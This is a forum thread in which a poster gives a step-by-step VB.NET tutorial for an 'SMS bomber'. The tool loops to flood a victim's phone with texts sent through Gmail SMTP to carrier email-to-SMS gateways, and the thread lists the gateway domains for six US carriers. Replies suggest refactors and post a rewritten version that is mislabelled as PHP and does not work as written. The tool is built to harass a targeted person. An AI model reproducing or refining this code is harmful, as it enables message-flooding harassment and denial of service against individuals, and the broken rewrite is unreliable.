[Black and White]

SMS Bomber by the n00b
AND YES I FUCKING CODED THIS

What you need.
6 text boxes - one of which must be multi line
1st text box - victum's number
2nd text box - Tittle
3rd text box - Message make this one multi line like so:
Spoiler (Click to View)[img]http://localhostr.com/files/2ec240/multi.jpg[/img]
4th text box - Amount to be sent
5th text box - Gmail user name
6th text box - Gmail Password

1 Combo box - add to items:

Code

Virgin Mobile USA
Sprint PCS
AT&T
US Cellular
Nextel
Verizon Wireless

Add like so:
Spoiler (Click to View)[img]http://localhostr.com/files/c7ac6a/set.jpg[/img]

1 button - to bomb the texts

1 label - records amount sent

Should look like this
Spoiler (Click to View)[img]http://localhostr.com/files/1352fe/sms.jpg[/img]

Now for the coding:

---

At the very top add this:

Code

Imports System.Net.Mail

Double Click the button and add this:

Code

Dim num As Integer = 0
  For intLoopIndex = 0 To Convert.ToInt32(TextBox5.Text) 'your text box to enter in the amount of times to send
    Dim mail As New MailMessage()
    Dim SmtpServer As New SmtpClient
    If (CheckBox1.Checked) Then
    SmtpServer.Credentials = New Net.NetworkCredential("**", "***")  'your gmail and password
    SmtpServer.Port = 587
    SmtpServer.Host = "smtp.gmail.com"
    SmtpServer.EnableSsl = True
    Else
    SmtpServer.Credentials = New Net.NetworkCredential(TextBox5.Text, TextBox6.Text) 'this is to enter your own Gmail and pass
    SmtpServer.Port = 587
    SmtpServer.Host = "smtp.gmail.com"
    SmtpServer.EnableSsl = True
    End If
    If ComboBox1.SelectedItem = "AT&T" Then
    mail.To.Add(TextBox1.Text + "@txt.att.net")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text 'scroll down bar with carriers make sure to add al names to "collection"
    SmtpServer.Send(mail)
    ElseIf ComboBox1.SelectedItem = "Nextel" Then
    mail.To.Add(TextBox1.Text + "@messaging.nextel.com")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text
    SmtpServer.Send(mail)
    ElseIf ComboBox1.SelectedItem = "Sprint PCS" Then
    mail.To.Add(TextBox1.Text + "@messaging.sprintpcs.com")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text
    SmtpServer.Send(mail)
    ElseIf ComboBox1.SelectedItem = "US Cellular" Then
    mail.To.Add(TextBox1.Text + "@email.uscc.net")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text
    SmtpServer.Send(mail)
    ElseIf ComboBox1.SelectedItem = "Virgin Mobile USA" Then
    mail.To.Add(TextBox1.Text + "@vmobl.com")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text
    SmtpServer.Send(mail)
    End If
    If ComboBox1.SelectedItem = "Verizon Wireless" Then
    mail.To.Add(TextBox1.Text + "@myairmail.com")
    mail.From = New MailAddress("[email protected]")
    mail.Subject = TextBox2.Text
    mail.Body = ComboBox1.Text
    SmtpServer.Send(mail)
    End If

    num = num + 1
    Label1.Text = num 'your still label that shows how many texts sent
  Next intLoopIndex 'loops

---

Now you are done if you have any questions just ask. I may have messed up some where. I made a new project and followed my TUT so it should work.
That is mine try not to get jealous.
Spoiler (Click to View)[img]http://localhostr.com/files/4c92f9/bomber.jpg[/img]

AND YES I KNOW THERE ARE MORE TUTs, but THIS ONE IS UPDATED AND ACTUALLY WORKS AND IS WELL EXPLAINED SO PLEASE try to be nice.

★ List of Providers 100% Credit to Matin.★
Here

[pr3fix]

Ehm I don't really like your coding style.

Instead of using "If" statments you could use Select Case.

For example:

Code

Select Case ComboBox1.Text
    Case "Service 1"
    Port = 312
    SMTP = "smp.address.com"
    Case "Service 2"
    Port = 415
    SMTP = "smp.address.com"
  End Select
  'then just send sms/e-mail without any additional crap.

[Black and White]

Ehm I don't really like your coding style.

Instead of using "If" statments you could use Select Case.

For example:

Code

Select Case ComboBox1.Text
    Case "Service 1"
    Port = 312
    SMTP = "smp.address.com"
    Case "Service 2"
    Port = 415
    SMTP = "smp.address.com"
  End Select
  'then just send sms/e-mail without any additional crap.

Nah all the IFs make it simple, but I do agree not the best way to do it and a simple loop. I could have used a timer lmao that would have been bad.

[pr3fix]

Nah all the IFs make it simple, but I do agree not the best way to do it and a simple loop. I could have used a timer lmao that would have been bad.

Loop? Not best solution, BackgroundWorker would do the job.

[Black and White]

Loop? Not best solution, BackgroundWorker would do the job.

It would that is true, but like I said I want to keep it simple enough because loops are easy xD

[Black and White]

No thanks yous no I liked it. Only critism come on guys please just one thank you. I am at least glad i had no haters as i did write all the code.

[DarkY.]

Great job, and thank you for providing this. I may use it in the future. 👍

[Zer[o]]

cool tut keep em up :P i am working on my own....99% done lol i need 1 fix

[DeltaNox]

Like pr3fix said, using a select case is better, it's there to avoid a lot of else if's. Also you could make the code a lot shorter by simply creating a sub and passing the values instead of using the same code that many times.

[pr3fix]

Here is fixed version, I was bored so I just rewrote:

PHP Code


<?php 
On Error Resume Next
  Dim Adds As String = String.Empty
  Dim C As Integer = 0
  If C = 50 Then
    Select Case ComboBox1.Text
    Case "AT&T"
    Adds = "@txt.att.net"
    Case "Nextel"
    Adds = "@messaging.nextel.com"
    Case "Sprint PCS"
    Adds = "@messaging.sprintpcs.com"
    Case "US Cellular"
    Adds = "@email.uscc.net"
    Case "Virgin Mobile USA"
    Adds = "@vmobl.com"
    Case "Verizon Wireless"
    Adds = "@myairmail.com"
    End Select
    Dim M As New MailMessage
    Dim S As New SmtpClient("smtp.gmail.com")
    M.To.Add("[email protected]" & Adds)
    M.From = New MailAddress("[email protected]" & Adds)
    M.Subject = "Subject of SMS"
    M.Body = "SMS's body message"
    S.Port = 587
    S.Send(M)
    C += 1
  End If 


[Đενɨаηсε™]

Here are some errors:

[img]http://img831.imageshack.us/img831/6318/ss20100723131154.png[/img]

[Black and White]

Here are some errors:

[img]http://img831.imageshack.us/img831/6318/ss20100723131154.png[/img]

I made the SMS bomber from the TUT and only the TUT I will do it again, but maybe you need to dim as string?

---

Well I just did it again added 6 text boxes
1 combo box
1 label
1 check box
1 button
o errors so go and do it again or PM me and I can help :)

---

Well here is what I did:
Spoiler (Click to View)[img]http://localhostr.com/files/163915/error3.jpg[/img]
Spoiler (Click to View)[img]http://localhostr.com/files/12e1d5/error4.jpg[/img]

[Sri Krishna]

It's alright, I guess.
6/10

[Black and White]

It's alright, I guess.
6/10

What exactly are you rating? And if you cannot do better please do not rate it.

[Prince of Persia]

You can just check out my SMS bomber too, it has like 200 providers.